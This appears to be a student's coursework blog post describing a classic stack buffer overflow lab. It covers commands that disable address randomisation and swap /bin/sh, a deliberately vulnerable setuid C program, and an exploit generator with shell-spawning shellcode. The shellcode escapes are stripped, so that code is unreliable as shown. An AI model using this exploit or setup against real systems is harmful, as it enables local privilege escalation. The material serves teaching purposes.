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  • 20199327《Linux内核原理与分析》第十二周作业

    缓存溢出

    缓存溢出

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

    环境搭建

    1.准备

    2.初始化

    关键代码

    准备过程

    $ sudo apt-get update
    
    $ sudo apt-get install -y lib32z1 libc6-dev-i386
    
    $ sudo apt-get install -y lib32readline-gplv2-dev
    
    
    $ sudo sysctl -w kernel.randomize_va_space=0
    
    $ sudo su
    
    $ cd /bin
    
    $ rm sh
    
    $ ln -s zsh sh
    
    $ exit
    

    stack.c

    $ cd /tmp
    $ vi stack.c
    
    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
    char buffer[12];
    
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    
    return 1;
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    
    printf("Returned Properly
    ");
    return 1;
    }
    
    $ sudo su
    
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    
    $ chmod u+s stack
    
    $ exit
    

    exploit.c

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50" //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin" //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50" //pushl %eax
    "x53" //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99" //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    

    调试

    # gdb 调试
    $ gdb stack
    
    $ disass main
    
    $ gcc -m32 -o exploit exploit.c
    

    运行

    ./exploit
    ./stack 
    

    实验实践

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  • 原文地址:https://www.cnblogs.com/waxxx/p/11981937.html
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